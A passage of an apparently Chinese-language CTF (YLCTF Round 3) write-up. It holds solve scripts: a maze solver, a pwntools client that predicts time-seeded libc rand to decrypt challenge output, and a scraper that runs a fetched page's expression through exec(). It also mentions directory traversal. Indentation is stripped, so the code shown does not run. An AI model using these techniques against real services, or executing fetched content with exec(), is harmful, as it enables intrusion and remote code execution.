maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************"
pos = 5
move_map = {'w': -10, 's': 10, 'a': -1, 'd': 1}
for action in solution:
move = move_map[action]
while is_valid_move(maze, pos + move):
pos += move
return maze[pos] == 'F'
def main():
solution = solve_maze()
print(f"Found solution path: {solution}")
if verify_solution(solution):
print("Solution verified: Valid!")
else:
print("Solution verification failed!")
return
flag = "YLCTF{" + hashlib.md5(solution.encode()).hexdigest() + "}"
print("\nMaze visualization (10x10 grid):")
print(visualize_maze("*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************"))
print("\nFinal flag:", flag)
if __name__ == "__main__":
main()
[Round 3] CASE
from pwn import *
import ctypes
import time
# 加载 libc
libc = ctypes.CDLL("libc.so.6")
# 连接到靶机
p = remote("challenge.yuanloo.com", 30037)
# 用于保存加密值
enc = []
for _ in range(43):
response = p.recvuntil(b',')
enc.append(response.strip().decode().rstrip(','))
print("Encrypted values:", enc)
enc_values = [int(x, 16) for x in enc]
# 用于保存解密的结果
decrypted = []
seed = int(time.time())
libc.srand(seed)
for i in range(len(enc_values)):
v5 = libc.rand()
original_char = (enc_values[i] ^ (v5 % 255))
# 反向映射字符
if 65 <= original_char <= 90: # A-Z
decrypted_char = chr((original_char + 52 - 65) % 26 + 65)
elif 97 <= original_char <= 122: # a-z
decrypted_char = chr((original_char + 84 - 97) % 26 + 97)
else:
decrypted_char = chr(original_char)
decrypted.append(decrypted_char)
# 输出解密结果
print("Decrypted value:", ''.join(decrypted))
# 关闭连接
p.close()
不知道具体的原理,要得到flag的话外面需要rot13内部需要rot7才能得到正确的flag,不太明白re,里面是根据uuid的特性得到的

Web
[Round 3] 404
/script.js有提示,然后

解密,最后在网页写个py交互一下
import requests
from bs4 import BeautifulSoup
session = requests.Session()
url = 'http://challenge.yuanloo.com:33968/ca.php'
response = session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
pre_content = soup.find('pre').text.strip()
pre_content = pre_content.replace('$temp1', 'temp1').replace('$temp2', 'temp2').replace('$temp3', 'temp3').replace('$temp4', 'temp4').replace('$answer', 'answer')
pre_content = pre_content.replace('log', 'math.log').replace('sqrt', 'math.sqrt').replace('pow', 'math.pow').replace('sin', 'math.sin').replace('cos', 'math.cos').replace('tan', 'math.tan').replace('exp', 'math.exp').replace('abs', 'abs')
# 计算表达式
exec(pre_content)
# 输出最终答案,保留两位小数
final_answer = round(answer, 2)
print(f"答案: {final_answer:.2f}")
# 准备 POST 请求的数据
data = {
'user_answer': final_answer
}
post_url = 'http://challenge.yuanloo.com:33968/ca.php'
response = session.post(post_url, data=data)
print(f"POST 请求的响应: {response.text}")
[Round 3] PRead
目录穿越
